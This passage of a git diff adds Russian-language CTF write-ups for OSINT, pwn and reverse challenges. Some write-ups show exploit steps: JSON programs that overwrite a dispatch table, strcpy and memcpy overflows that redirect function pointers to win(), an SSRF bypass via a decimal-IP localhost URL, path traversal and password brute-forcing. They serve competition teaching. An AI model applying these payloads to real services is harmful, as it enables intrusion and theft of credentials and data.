auth filename | `caplag{needle_harbor.auth_private}` | +| 4 | Medium | Unsafe Browser host | `caplag{mail.quayside-relay.net}` | +| 5 | Hard | x25519 private key | `caplag{QB2WNKDR73DUR2TNUI4HVHJBP4PNOAZU6FUDFT6KRVF5UT4A3FXA}` | +| 6 | Hard | Final flag | `caplag{tor_did_not_fail_opsec_did}` | + +## Итоговый флаг +`caplag{tor_did_not_fail_opsec_did}` diff --git a/osint-mirror-trace/WRITEUP.md b/osint-mirror-trace/WRITEUP.md new file mode 100644 index 0000000..fed0abe --- /dev/null +++ b/osint-mirror-trace/WRITEUP.md @@ -0,0 +1,60 @@ +

Mirror Trace

+ +

+ OSINT + 866 pts +

+ +На старте у нас есть `mirrortrace_casebundle.zip`, внутри которого dataset'ы и артефакты. Опираемся на seed domain из `00_brief/case_brief.txt` или `10_datasets/seeds.txt`. + +## Решение + +Берём стартовый домен `panel.mirrortrace-help.example`, смотрим сертификат, и через общий `cert-ms441` разворачивается кластер из шести доменов: + +```text +panel.mirrortrace-help.example +status.mirrortrace-help.example +cdn.mirrortrace-help.example +docs.mercury-sustain.example +git.mercury-sustain.example +helpdesk.mercury-sustain.example +``` + +Внутри кластера довольно быстро проявляются две ветки с людьми: + +| Персона | Роль | +|---|---| +| `Viktor Korolev` | Корректный операторский трек | +| `Anton Smirnov` | Правдоподобный same-cluster decoy | + +`negotiation_excerpt.txt` и `capture_02.html` указывают, что нужный материал относится к responder baseline, а routing worksheets — это отдельная ветка. То есть правильный путь идёт не через `helpdesk.mercury-sustain.example`, а по responder-цепочке: + +```mermaid +flowchart LR + S[status.mirrortrace-help.example] --> D[docs.mercury-sustain.example] + D --> P[doc_01.pdf] + P --> G[git.mercury-sustain.example] + G --> V[vkorolev-dev.example] +``` + +Фрагменты контрольной фразы получаем в процессе: + +| Источник | Фрагмент | Сопутствующие артефакты | +|---|:---:|---| +| `capture_02.html` | `R3TAIN` | retained copy mention | +| `doc_01.pdf` | `ED-C0` | metadata author `vkorolev` | +| `capture_04.html` | `PY-71E` | email, handle, `vkorolev-dev.example` | +| `capture_05.html` | `64DB` | полное имя `Viktor Korolev` | + +`capture_04.html` попутно упоминает `helpdesk.mercury-sustain.example` как routing mirror — это не другая цепочка, а decoy-шум внутри уже известного кластера. `capture_03.html` тоже отдаёт не фрагмент, а наводку: legal retained copy note лежит внутри mirrored advisory. + +Склеиваем куски в pivot-порядке: + +```text +R3TAIN + ED-C0 + PY-71E + 64DB → R3TAINED-C0PY-71E64DB +``` + +Эта строка — пароль к `20_artifacts/retained_copy.zip`. Внутри архива лежит `final_flag.txt` с ответом. + +## Флаг +`caplag{retained_copy_6d8f21c4e9ab}` diff --git a/osint-mirror-trace/solve/check_release.py b/osint-mirror-trace/solve/check_release.py new file mode 100644 index 0000000..6d83709 --- /dev/null +++ b/osint-mirror-trace/solve/check_release.py @@ -0,0 +1,104 @@ +from __future__ import annotations + +import csv +import json +import subprocess +import sys +import zipfile +from pathlib import Path + + +ROOT = Path(__file__).resolve().parents[1] +CONFIG = json.loads((ROOT / "src" / "task_config.json").read_text(encoding="utf-8")) + + +def require(path: Path) -> None: + if not path.exists(): + raise SystemExit(f"missing required file: {path}") + + +def assert_contains(path: Path, needle: str, error: str) -> None: + if needle not in path.read_text(encoding="utf-8"): + raise SystemExit(error) + + +def main() -> int: + archive_path = ROOT / "public" / CONFIG["archive_name"] + bundle_dir = ROOT / "public" / "mirrortrace_casebundle" + retained_copy = bundle_dir / "20_artifacts" / CONFIG["retained_copy_name"] + + require(ROOT / "public" / "case_brief.txt") + require(ROOT / "public" / "negotiation_excerpt.txt") + require(archive_path) + require(bundle_dir / "10_datasets" / "graph_nodes.csv") + require(bundle_dir / "10_datasets" / "graph_edges.csv") + require(bundle_dir / "20_artifacts" / "doc_01.pdf") + require(bundle_dir / "20_artifacts" / "doc_03.pdf") + require(bundle_dir / "20_artifacts" / "capture_05.html") + require(bundle_dir / "20_artifacts" / "capture_11.html") + require(retained_copy) + + assert_contains( + ROOT / "public" / "case_brief.txt", + CONFIG["retained_copy_name"], + "case_brief.txt is missing retained copy reference", + ) + + doc_01_bytes = (bundle_dir / "20_artifacts" / "doc_01.pdf").read_bytes() + if f"/Author ({CONFIG['correct']['pdf_author']})".encode("ascii") not in doc_01_bytes: + raise SystemExit("doc_01.pdf is missing expected metadata author") + if b"Retained legal copy marker: ED-C0" not in doc_01_bytes: + raise SystemExit("doc_01.pdf is missing expected retained copy marker") + + doc_03_bytes = (bundle_dir / "20_artifacts" / "doc_03.pdf").read_bytes() + if f"/Author ({CONFIG['same_cluster_decoy']['pdf_author']})".encode("ascii") not in doc_03_bytes: + raise SystemExit("doc_03.pdf is missing expected same-cluster decoy author") + + capture_05 = (bundle_dir / "20_artifacts" / "capture_05.html").read_text(encoding="utf-8") + if CONFIG["correct"]["full_name"] not in capture_05: + raise SystemExit("capture_05.html is missing expected identity") + + capture_11 = (bundle_dir / "20_artifacts" / "capture_11.html").read_text(encoding="utf-8") + if CONFIG["same_cluster_decoy"]["personal_domain"] not in capture_11: + raise SystemExit("capture_11.html is missing expected same-cluster decoy pivot") + + with (bundle_dir / "10_datasets" / "graph_edges.csv").open(encoding="utf-8", newline="") as fh: + rows = list(csv.DictReader(fh)) + expected_edges = { + ("panel", "cert_ms441"), + ("helpdesk_mercury", "doc_03"), + ("git_mercury", "personal_vk"), + ("helpdesk_mercury", "personal_as"), + } + actual_edges = {(row["source"], row["target"]) for row in rows} + if not expected_edges.issubset(actual_edges): + raise SystemExit("graph_edges.csv is missing expected hard-mode relations") + + subprocess.run( + ["unzip", "-P", CONFIG["passphrase"], "-t", str(retained_copy)], + check=True, + stdout=subprocess.DEVNULL, + stderr=subprocess.DEVNULL, + ) + + with zipfile.ZipFile(archive_path) as zf: + expected = { + "mirrortrace_casebundle/00_brief/case_brief.txt", + "mirrortrace_casebundle/10_datasets/graph_nodes.csv", + "mirrortrace_casebundle/10_datasets/graph_edges.csv", + "mirrortrace_casebundle/20_artifacts/doc_01.pdf", + "mirrortrace_casebundle/20_artifacts/doc_03.pdf", + "mirrortrace_casebundle/20_artifacts/capture_05.html", + "mirrortrace_casebundle/20_artifacts/capture_11.html", + f"mirrortrace_casebundle/20_artifacts/{CONFIG['retained_copy_name']}", + } + names = set(zf.namelist()) + if not expected.issubset(names): + raise SystemExit("participant archive is missing expected hard-mode files") + + print("MirrorTrace offline release check passed.") + return 0 + + +if __name__ == "__main__": + sys.exit(main()) diff --git a/osint-morning-line/WRITEUP.md b/osint-morning-line/WRITEUP.md new file mode 100644 index 0000000..c176566 --- /dev/null +++ b/osint-morning-line/WRITEUP.md @@ -0,0 +1,28 @@ +

Morning Line

+ +

+ OSINT + 655 pts +

+ +На входе — кадр улицы с временной меткой `2024-11-20 09:14 UTC+0`. Задача: точные координаты места съёмки. + +## Решение + +Начинаем с общих гипотез по кадру: + +| Признак | Что говорит | +|---|---| +| Середина ноября, утро, солнце низкое | Северное полушарие | +| Таймзона `UTC+0` | Район нулевого меридиана | +| Архитектура, узкий тротуар, газон перед домом | Британский пригород | +| Длина и направление теней | Ориентация кадра — отсекает ложные локации | + +Дальше отдаём кадр в поиск по картинкам (Google, Яндекс) — подтверждается: это Кембридж. Но в Кембридже километры таких улочек. Точку вытаскиваем по деталям: характерная форма дома, спутниковые тарелки, одиночное дерево у тротуара и плавный изгиб улицы. По совокупности примет определяем конкретное место: + +```text +52.189479, 0.149892 +``` + +## Флаг +`caplag{52.1895_0.1499}` \ No newline at end of file diff --git a/osint-redwheelbarrow/WRITEUP.md b/osint-redwheelbarrow/WRITEUP.md new file mode 100644 index 0000000..aa2a050 --- /dev/null +++ b/osint-redwheelbarrow/WRITEUP.md @@ -0,0 +1,21 @@ +

Red Wheelbarrow

+ +

+ OSINT + 551 pts +

+ +У нас кадр машины — по нему надо найти конкретный экземпляр с конкретным VIN'ом. Сначала определяем модель, дальше ищем тот `smart`, что изображен на кадре. + +## Решение + +Марку и модель быстрее всего выдернуть поиском по картинке — Google Картинки, Яндекс или GPT. Ответ: + +```text +SMART CITY-COUPE BRABUS +``` + +Теперь вопрос нужно разобраться с VIN'ом. Кадр явно не любительский, очень похож на скриншот из фильма. Значит, ищем по специализированному датасету — [imcdb.org](https://www.imcdb.org) (Internet Movie Cars Database), куда заливают автомобили из фильмов и сериалов. Ищем по модели `smart Fortwo Brabus`, листаем снимки — среди них находится наш кадр. Открываем карточку машины — в записях указан VIN. + +## Флаг +`caplag{WME4503331J289799}` diff --git a/osint-гора/WRITEUP.md b/osint-гора/WRITEUP.md new file mode 100644 index 0000000..34ff077 --- /dev/null +++ b/osint-гора/WRITEUP.md @@ -0,0 +1,23 @@ +

Гора

+ +

+ OSINT + 975 pts +

+ +У нас есть кадр из мультфильма «Тайна третьей планеты» и задача найти дом в Казани. Из подсказок: + +| Подсказка | Зацепка | +|---|---| +| Кадр из мультфильма | Год выхода — 1981 | +| Название таска «Гора» | Ищем что-то с «горой» в имени | +| «Не каждая третья — планета» | «Третья» — не номер, а имя | + +## Решение + +Год выпуска мультфильма — 1981, и это, видимо, не случайно. Идём искать дом в Казани, построенный именно в этом году. На [kontikimaps.ru](https://kontikimaps.ru/how-old/kazan?p=h-kzn) есть удобная карта Казани с фильтром по году постройки. Включаем 1981 — домов всё ещё много, одной фильтрации мало. + +Используем вторую подсказку. «Не каждая третья — планета» сначала кажется намёком на мультфильм, но фишка в том, что «Третья» здесь не порядковый номер, а имя собственное. В Казани есть историческое название — «Третья Гора», это часть Вахитовского района, которая сегодня называется улицей Калинина. Смотрим на карту: среди всех домов 1981 года на улице Калинина оказывается ровно один — дом 19. + +## Флаг +`caplag{Калинина 19}` diff --git a/pwn-allocator-war/WRITEUP.md b/pwn-allocator-war/WRITEUP.md new file mode 100644 index 0000000..bf38b40 --- /dev/null +++ b/pwn-allocator-war/WRITEUP.md @@ -0,0 +1,36 @@ +

Allocator War

+ +

+ PWN + 996 pts +

+ +С первого взгляда обычный каталог: создать запись, изменить описание, посмотреть, удалить. Косяк опять с памятью, там самописный аллокатор с кешем. При старте сервис кладёт флаг в 64-байтный буфер, сохраняет указатель в глобальной `last_freed_ptr` — и этот буфер никогда не чистится. + +Создание записи идёт через обычный `malloc`, а вот изменение — через `alloc_or_reuse()`. Если в `edit` попросить буфер ровно такого же размера, как лежит в кеше, аллокатор без проблем отдаст старый буфер с флагом. + +## Решение + +Первая подсказка скрыта прямо в интерфейсе — в меню есть недокументированная диагностическая команда `9`: + +```text +cache: last_freed_size=64, flag_cache_size=64 +``` + +Значит, чтобы выдернуть флаг, надо заставить сервис переиспользовать именно 64-байтный блок, и сделать это на этапе `edit`. + +План: + +1. Создаём любую запись произвольного размера (лишь бы жила). +2. Редактируем её, просим новый размер `64`. +3. На ввод описания отправляем **пустую строку**. +4. Смотрим запись. + +>Сервис сначала выделит буфер из кеша, а потом запишет в него ровно столько байт, сколько пришло от пользователя. Ноль байт = ноль записи, и старое содержимое буфера (флаг) остаётся на месте. + +При просмотре сервис печатает и описание, и *hex*-дамп содержимого. В дампе и светится флаг. + +Минимальный [солвер](./solve/solver.py). + +## Флаг +`caplag{Some_thing_is_here_not_there}` diff --git a/pwn-allocator-war/solve/solver.py b/pwn-allocator-war/solve/solver.py new file mode 100644 index 0000000..e69de29 diff --git a/pwn-бортовой-журнал/WRITEUP.md b/pwn-бортовой-журнал/WRITEUP.md new file mode 100644 index 0000000..d52aa25 --- /dev/null +++ b/pwn-бортовой-журнал/WRITEUP.md @@ -0,0 +1,54 @@ +

Бортовой Журнал

+ +

+ PWN + 1000 pts +

+ +Сервис принимает JSON-программы и выполняет над буферами операции в стиле мини-VM: `alloc`, `write`, `read`, `compute`, `typeof`, `free`, `realloc`. Вычислительные функции (`xor`, `rot`, `rev`) лежат внутри C-таблицы указателей `dispatch_table` — и это уже подозрительно, потому что в бинарнике есть скрытая функция победы `win_fn`, читающая `/tmp/flag`. Нужно подложить её адрес в `dispatch_table` и вызвать обычным `compute`. + +## Решение + +Атака склеивается из двух багов: + +| Баг | Что делает | +|---|---| +| `typeof` сливает адреса | Возвращает `data_ptr` буфера, адрес `dispatch_table` и адрес `_emergency_nav` (= `win_fn`) | +| `write` не проверяет `offset` | `dest = buffer.DataPtr + offset` — можно писать куда угодно относительно буфера | + +Подбираем `offset = dispatch_table - data_ptr`, и запись в буфер улетает прямиком в таблицу указателей. По сути, воспроизводится тот же принцип, что и классический [GOT overwrite](https://ir0nstone.gitbook.io/notes/types/stack/aslr/plt_and_got), просто вместо Global Offset Table — user-space jump table. + +Эксплуатация в два раунда. В первом — выделяем два буфера и снимаем адреса через `typeof`: + +```json +{ + "program": [ + {"op": "alloc", "id": "a", "size": 256}, + {"op": "alloc", "id": "b", "size": 256}, + {"op": "typeof", "id": "a"} + ] +} +``` + +Из ответа забираем три адреса: + +```text +data_ptr — адрес буфера a +dispatch — адрес dispatch_table +_emergency_nav — адрес win_fn +``` + +Во втором раунде считаем `offset = dispatch - data_ptr`, пишем в буфер `a` по этому смещению `p64(win_addr)` — и переписываем `dispatch_table[0]` (слот `xor`) адресом `win_fn`. Дальше `compute("b", "xor")` вместо честной xor-функции вызывает `win_fn`, та кладёт флаг в буфер `b`, и обычный `read` с base64-декодом выдаёт результат: + +```json +{ + "program": [ + {"op": "write", "id": "a", "data": "", "offset": ""}, + {"op": "compute", "id": "b", "func": "xor"}, + {"op": "read", "id": "b", "count": 256} + ] +} +``` + +## Флаг +`caplag{p3g4s_d1sp4tch_t4bl3_3xpl01t3d}` diff --git a/pwn-навигация/WRITEUP.md b/pwn-навигация/WRITEUP.md new file mode 100644 index 0000000..c731c7d --- /dev/null +++ b/pwn-навигация/WRITEUP.md @@ -0,0 +1,70 @@ +

Навигация

+ +

+ PWN + 946 pts +

+ +Сервис на Go, но парсер зовётся через CGo — и именно в этой части расположено классическое переполнение буфера. В глобальной структуре `Parser` лежит 64-байтное поле имени и три указателя на функции: + +```c +typedef struct { + char name[64]; + int (*validate)(const uint8_t*, size_t); + void* (*transform)(const uint8_t*, size_t, size_t*); + void (*cleanup)(void*); +} Parser; +``` + +Сначала указатели выставляются на дефолтные реализации, а потом имя копируется через `strcpy()` без проверки длины. Намечаем вектор: имя длиннее 64 байт ляжет поверх указателя `validate`. А записать туда мы хотим адрес `win()`. + +## Решение + +Протокол бинарный — 16-байтный little-endian заголовок: + +```text +magic = 0xDEADBEEF (4 байта) +type (4 байта) +length (4 байта) +id (4 байта) +``` + +Команда `STATUS` выдаёт диагностику с адресами всех интересных функций, включая сам `win()` — ASLR снимается одним запросом: + +```text +STATUS worker=... cache=0x... parser=0x... win=0x... +``` + +Дальше отправляем `EXEC` с пейлоадом: + +```mermaid +block-beta + columns 10 + N["A × 64
64 B
→ name[64]"]:7 + V["p64(win)
8 B
→ validate"]:1 + X["transform + cleanup
нетронуты"]:2 + + classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81 + classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d + classDef muted fill:#f3f4f6,stroke:#9ca3af,color:#4b5563 + class N base + class V hit + class X muted +``` + +Тут нюанс: `strcpy` остановится на первом нулевом байте, а в non-PIE x86-64 адрес `win()` выглядит как `0x00000000004xxxxx` — в начале у него нули. Но в little-endian значимые младшие байты идут первыми, а старшие нули и так уже лежат на нужном месте с момента установки `default_validate`. Поэтому [partial overwrite](https://ir0nstone.gitbook.io/notes/types/stack/partial-overwrites) перепишет только значимую часть, старшие нули оставит как есть — и указатель получается корректный. + +Триггер — обычный `PARSE`. Внутри `parse_data()` сервис по-прежнему зовёт `active_parser.validate(data, len)`, но теперь `validate` указывает не на дефолтную реализацию, а на `win()`, которая лезет в `/tmp/flag` и кладёт содержимое в глобальный буфер. Остаётся ещё раз дёрнуть `STATUS` — и сервис в ответе выплёвывает флаг. + +Вся цепочка: + +| # | Команда | Что происходит | +|---|---|---| +| 1 | `STATUS` | Утечка адреса `win()` | +| 2 | `PARSE` | Проверка, что соединение живое | +| 3 | `EXEC` | Переполнение `name[64]`, перезапись `validate` | +| 4 | `PARSE` | Триггер `win()` — флаг читается в буфер | +| 5 | `STATUS` | Читаем `flag=...` в ответе | + +## Флаг +`caplag{g0r0ut1n3_h1j4ck_cg0_pwn3d}` diff --git a/reverse-ancient-processor/WRITEUP.md b/reverse-ancient-processor/WRITEUP.md new file mode 100644 index 0000000..efe539c --- /dev/null +++ b/reverse-ancient-processor/WRITEUP.md @@ -0,0 +1,68 @@ +

Ancient Processor

+ +

+ Reverse + 912 pts +

+ +Мы получаем stripped ELF-бинарник `checker`. По названию таска и описанию можно уловить намек, что внутри сидит эмулятор какого-то «древнего процессора» — значит, вероятно, что сработает reverse эмулятора и восстановление его байткода. + +## Решение + +Открываем `checker` в IDA или Ghidra и сразу ищем главный цикл интерпретатора — он выдаёт себя большим `switch`'ем по опкодам. По коду VM восстанавливается набор инструкций: + +| Категория | Опкоды | +|---|---| +| Стек | `PUSH`, `POP`, `DUP`, `SWAP`, `ROT` | +| Арифметика | `ADD`, `SUB`, `XOR`, `MUL`, `AND`, `OR`, `NOT`, `SHL`, `SHR`, `MOD` | +| Память / переходы | `LOAD`, `STORE`, `JMP`, `JZ`, `CALL`, `RET` | +| I/O | `READ`, `PRINT`, `HALT` | +| Антианализ | `SYSCALL`, `CHECKTIME`, `SELFMOD2` | + +Самое интересное лежит в `vm.c`: перед выполнением программы в массив `code` сначала копируется `decoy_program`, а затем поверх него пишется уже расшифрованный `real_program_encrypted`. То есть первая программа — декорация, её можно даже не разбирать. А реальная цель — именно зашифрованная. Рагадка тут, на самом деле, элементарная: каждый байт XOR'ится с 8-байтным ключом. Можно либо выгрузить уже готовый массив из памяти в рантайме, либо вытащить ключ и шифротекст из бинарника и раскрутить всё статикой. + +После расшифровки байткод раскладывается в повторяющийся шаблон проверки очередного символа: + +```text +READ +PUSH xor_key +XOR +PUSH add_key +ADD +PUSH sub_key +SUB +[иногда MUL] +PUSH expected +CMP +JZ fail +``` + +Каждый символ флага проверяется независимо, и в обычном случае формула получается такой: + +$$\bigl((ch \oplus k_{\mathrm{xor}}) + k_{\mathrm{add}} - k_{\mathrm{sub}}\bigr) \bmod 256 = \mathrm{expected}$$ + +Отсюда символ восстанавливается в одну строчку: + +$$ch = \bigl((\mathrm{expected} + k_{\mathrm{sub}} - k_{\mathrm{add}}) \bmod 256\bigr) \oplus k_{\mathrm{xor}}$$ + +Но, вохможно и к сожалению, это еще не конец. Если на этом месте пройтись по всем символам и подставить константы — часть результатов не сойдётся. На этом этапе можно логично предположить, что причиной этому скорее всего служит самоизменяющийся код. Инструкция `SELFMOD2` меняет байты прямо внутри выполняющейся программы, и несколько уже прочитанных символов флага используются для модификации XOR-ключей в будущих проверках: + +| Символ-источник | Модифицирует ключ символа | +|:---:|:---:| +| 5 | 12 | +| 10 | 18 | +| 15 | 25 | + +Для этих позиций статический `xor_key` из байткода брать нельзя — надо считать его динамически с учётом уже восстановленной части флага. Здесь заложена еще одна мелкая подлянка: каждый четвёртый символ перед сравнением умножается на константу (`MUL`), и чтобы его обратить, нужен [modular inverse](https://en.wikipedia.org/wiki/Modular_multiplicative_inverse) по модулю 256. + +> Обратное $a^{-1} \bmod 256$ существует только для нечётных $a$ (чтобы $\gcd(a, 256) = 1$) — множители `MUL` в байткоде специально подобраны нечётными, иначе символ флага был бы однозначно невосстановим. + +Остальные «защиты» можно игнорировать — это шум: + +| Инструкция | Что делает | Эффект | +|---|---|---| +| `SYSCALL` | Читает байт из `/dev/urandom`, кладёт `rnd ^ rnd` в стек | Стабильный `0` | +| `CHECKTIME` | XOR'ит значение с `0xFF` при медленном выполнении | Не триггерится в памяти | + +## Флаг +`caplag{v1rtu4l_m4ch1n3_m4st3r}` diff --git a/reverse-dungeon-crawler/WRITEUP.md b/reverse-dungeon-crawler/WRITEUP.md new file mode 100644 index 0000000..d2992e5 --- /dev/null +++ b/reverse-dungeon-crawler/WRITEUP.md @@ -0,0 +1,39 @@ +

Dungeon Crawler

+ +

+ Reverse + 888 pts +

+ +Бинарь перед нами — прототип навигационной системы для подземельного робота. Робот обязан пройти лабиринт от входа до выхода, и если маршрут верный, программа выдаёт секретный код. Формат ввода — строка из `U`/`D`/`L`/`R`. Внутри бинаря, если аккуратно поковыряться, находится сразу четыре лабиринта — три в открытом виде и один зашифрованный. Вся задача построена вокруг того, чтобы сбить с пути автоматические солверы. + +## Решение + +Начинаем с того, что лежит на виду. В `.rodata` три лабиринта 20x20 в plaintext, у каждого даже есть корректный путь от входа до выхода. Подставляем — получаем мусор. + +Настоящий лабиринт четвёртый, того же размера, но хранится зашифрованным. Ключ — CRC32 от конкатенации: + +```text +checkpoint_keys ‖ moving_wall_positions ‖ magic_constant +``` + +То есть чтобы его расшифровать, нужно сначала восстановить всю структуру данных, а не просто дёрнуть строку. Дальше три ловушки: + +| # | Ловушка | Как работает | +|---|---|---| +| 1 | Три plaintext-лабиринта в `.rodata` | Все три имеют валидный путь, но ведут к неправильным ответам | +| 2 | Движущиеся стены | 3 позиции меняются в зависимости от номера шага: `step % 5 < 3` → открыто, иначе → закрыто | +| 3 | `getpid() ^ getpid()` в расшифровке флага | Выглядит как PID-зависимая соль, всегда равен нулю | + +Вторая ловушка — самая неприятная. Если извлечь лабиринт статикой и запустить обычный BFS, правильного пути он не найдёт. BFS обязан знать текущий шаг и состояние подвижных стен именно на этом шаге. + +Правильный порядок действий: + +1. Разбираем структуру данных (checkpoints + moving walls → derived key). +2. Расшифровываем настоящий лабиринт. +3. Гоняем BFS с учётом номера шага и состояния движущихся стен. +4. Собираем контрольные точки по пройденному маршруту. +5. Расшифровываем флаг через [LFSR](https://en.wikipedia.org/wiki/Linear-feedback_shift_register). + +## Флаг +`caplag{3v3ry_w4ll_h4s_4_d00r}` diff --git a/reverse-ptitsa-govorun/WRITEUP.md b/reverse-ptitsa-govorun/WRITEUP.md new file mode 100644 index 0000000..e491117 --- /dev/null +++ b/reverse-ptitsa-govorun/WRITEUP.md @@ -0,0 +1,60 @@ +

Птица Говорун

+ +

+ Reverse + 1000 pts +

+ +Получаем на старте Windows x64 бинарь `challenge.exe`. Сначала программа проверяет окружение, потом собирает из найденных значений ключ, и только затем расшифровывает вшитый массив байт. Флаг покажется лишь если все три проверки окружения сойдутся с ожидаемыми значениями. + +## Решение + +Открываем в Ghidra или IDA — и видим три проверки: + +| Артефакт | Откуда берётся | Ожидаемое значение | +|---|---|---| +| MAC-префикс | `GetAdaptersInfo()` | `00:0C:29` | +| Имя компьютера | `GetComputerNameA()` | `CHALLENGE-PC` | +| Гипервизор | `cpuid` leaf `0x40000000` | `VMwareVMware` | + +Все три куска склеиваются в материал ключа: + +```text +000C29CHALLENGE-PCVMwareVMware +``` + +От этой строки считается SHA-256, и все 32 байта хеша идут как XOR-ключ для зашифрованного флага. После расшифровки программа ещё раз считает SHA-256 от результата и сравнивает с зашитым эталоном — сошлось, печатает флаг. + +> **CPUID leaf `0x40000000`** — стандартизованный интерфейс обнаружения гипервизора. Vendor возвращает 12 ASCII-символов в `EBX:ECX:EDX`: VMware — `VMwareVMware`, Hyper-V — `Microsoft Hv`, KVM — `KVMKVMKVM`, VirtualBox — `VBoxVBoxVBox`. На реальном железе leaf возвращает нули. Детали — в [Microsoft Hypervisor TLFS](https://learn.microsoft.com/en-us/virtualization/hyper-v-on-windows/tlfs/feature-discovery). + +Предполагаемый путь — просто собрать окружение под эталон: запустить Windows внутри VMware, переименовать компьютер в `CHALLENGE-PC`, убедиться, что MAC первого адаптера начинается с `00:0C:29`, и запустить `challenge.exe`. Строку `VMwareVMware` VMware и так сама возвращает через CPUID, её отдельно подделывать не нужно. А если не повезло и MAC выпал с неправильным префиксом, его легко зафиксировать вручную в `.vmx`: + +```text +ethernet0.addressType = "static" +ethernet0.address = "00:0C:29:AA:BB:CC" +``` + +Однако, можно не возиться с виртуалкой — всё нужное уже лежит в бинарнике: и материал ключа, и сам зашифрованный массив xD + +Воспроизводим алгоритм на Python и получаем флаг локально: + +```python +import hashlib + +key_material = "000C29CHALLENGE-PCVMwareVMware" +key = hashlib.sha256(key_material.encode()).digest() + +enc = bytes([ + 0xf9, 0x10, 0x70, 0x63, 0xa3, 0x57, 0x19, 0xb5, + 0x38, 0x6e, 0x11, 0xb1, 0xfe, 0xf6, 0x6f, 0x4c, + 0xf3, 0x07, 0x65, 0x50, 0xf3, 0x03, 0x51, 0xf4, + 0x0a, 0x50, 0x42, 0xb2, 0xb9, 0xf1, 0x3e, 0x5b, + 0xa3, 0x0c +]) + +flag = bytes(enc[i] ^ key[i % 32] for i in range(len(enc))) +print(flag.decode()) +``` + +## Флаг +`caplag{vm_detective_1337_a7f3b2c9}` diff --git a/reverse-umbrella-os-lab/WRITEUP.md b/reverse-umbrella-os-lab/WRITEUP.md new file mode 100644 index 0000000..f0ad9eb --- /dev/null +++ b/reverse-umbrella-os-lab/WRITEUP.md @@ -0,0 +1,109 @@ +

Alpha Centauri

+ +

+ Reverse + Σ 6991 pts +

+ +

этапы: 996 · 998 · 999 · 999 · 999 · 1000 · 1000

+ +Вспоминаем нашу любимую вселенную с бессмертным Леоном (ну реально, у тебя совесть то есть в таком возрасте в такой физ. форме находиться?). Всего у очередной лаборатории корпорации *будет 7 уровней*: артефакты каждого шага содержат ключевой материал для следующего: + +```mermaid +flowchart LR + T1(["1 · Surface
web"]) + T2(["2 · Capsule
forensics"]) + T3(["3 · Auth
reverse"]) + T4(["4 · USB Key
forensics"]) + T5(["5 · Audit
crypto"]) + T6(["6 · Nemesis
proto"]) + T7(["7 · Uplink
pwn"]) + + T1 --> T2 --> T3 --> T4 -->|seed_tail| T5 -->|tokens| T6 -->|ticket| T7 + T3 -. seed_head .-> T5 + + classDef web fill:#dbeafe,stroke:#3b82f6,color:#1e3a8a + classDef forensics fill:#fce7f3,stroke:#ec4899,color:#831843 + classDef reverse fill:#fef3c7,stroke:#f59e0b,color:#78350f + classDef crypto fill:#d1fae5,stroke:#10b981,color:#064e3b + classDef proto fill:#ede9fe,stroke:#8b5cf6,color:#312e81 + classDef pwn fill:#fee2e2,stroke:#ef4444,color:#7f1d1d + + class T1 web + class T2,T4 forensics + class T3 reverse + class T5 crypto + class T6 proto + class T7 pwn +``` + +## Решение + +**Таск 1 — Surface (Web).** В глаза сразу бросается подозрительный эндпоинт `/api/internal/cache-check?url=` — классический SSRF. Есть фильтрация по `127.0.0.1`, но ее легко обойти путем перевода IP в десятичный формат: + +```text +http://2130706433:18091/bootstrap/creds +``` + +В ответе лежит `admin:UmbrellaNode7`. Под этими кредами заходим в админку, дальше находим другой весёлый эндпоинт — `/api/files?name=...`. При помощи незамысловатого path traversal `../private/exports/flag.txt` получаем флаг для первого этапа. + +**Таск 2 — Capsule (Forensics).** Распаковываем `capsule.tar`, внутри `manifest.json` описано 40 чанков, из которых склеивается 10 МБ образа. Сигнатурным поиском (`ACIX` = `0x58494341` LE) находится orphaned ACIX-контейнер. Бинарники из OS подсказывают, чем он шифровался: + +```text +byte ^= (i * 0x3F + 0x17) & 0xFF +``` + +Снимаем маску, прогоняем `gunzip` — на выходе JSON с `flag2`, auth_ploicy и метаданными сида. + +**Таск 3 — Auth Reverse.** Из `AlphaCentauri-ctf.img` парсится кастомная UmbrellaFS, внутри лежит `/ops/operator.note.enc` (341 байт). `auth_policy` из таска 2 задаёт формат пароля `---<3digits>`. Словарь из 12 слов даёт $12^3 \cdot 1000 = 1\,728\,000$ кандидатов — брутим, пароль находится на попытке `#41 408` примерно за 3 секунды: + +```text +relay-mirror-lattice-407 +``` + +После расшифровки получаем `flag3`, `audit_seed_head=43656e7461757269` и координату USB-образа. + +**Таск 4 — USB Key Reverse.** `ops-usb.img` маленький — 32 КБ, 64 сектора: + +| LBA | Содержимое | +|---|---| +| `32` | `usb_keyfile_t` с magic `UMBK`, оператор | +| `33` | Vendor trailer `UMBX`: `flag4`, `seed_tail=536565644b657931` | + +**Таск 5 — Audit Crypto.** Склеиваем полный seed из тасков 3 и 4: + +```text +43656e7461757269 + 536565644b657931 → CentauriSeedKey1 +``` + +Ключ выводится из сида по формуле `seed[i] ^ (i * 0x1f + 5)` — 16 байт. Этим ключом через кастомный `umbrella_ctr` расшифровывается `audit.log` (672 байта, 6 записей), и из них достаются `flag5`, `cluster_key`, `node_id`, `operator_token` и TCP endpoint для следующего этапа. + +**Таск 6 — Nemesis Proto.** Подключаемся к `nemesisd --mode proto` на порту 24062, делаем handshake с `cluster_key` и `node_id` из таска 5, шлём `msg_type=0x31` с `operator_token` в payload. В ответе приходят: + +```text +flag6 +ticket = 53414d504c455f5449434b45545f3031 +hint = upload_sample +msg = 0x41 +``` + +**Таск 7 — Uplink Pwn.** В паблик-бинарнике `nemesisd` через `nm nemesisd | grep win` находим `win()` по адресу `0x4043e0`. Уязвимость — `memcpy(ctx.name, payload+4, name_len)` без проверки `name_len <= 64`. Готовим payload с `name_len=72`: + +```mermaid +block-beta + columns 4 + H["header
4 B"] + P["A × 64
64 B
→ ctx.name[64]"] + W["p64(win)
8 B
→ ctx.dispatch"] + T["ticket
16 B"] + + classDef base fill:#e0e7ff,stroke:#6366f1,color:#312e81 + classDef hit fill:#fee2e2,stroke:#dc2626,color:#7f1d1d + class H,P,T base + class W hit +``` + +92 байта уходят через `nemesis_client --msg-type 0x41`, и сервер отдаёт финальный флаг. + +## Флаг +`caplag{alpha_centauri_uplink_overflow}` \ No newline at end of file diff --git a/stego-art-gallery/WRITEUP.md b/stego-art-gallery/WRITEUP.md new file mode 100644 index 0000000..77f45a0 --- /dev/null +++ b/stego-art-gallery/WRITEUP.md @@ -0,0 +1,54 @@ +

Художественная галерея

+ +

+ Stego + 979 pts +

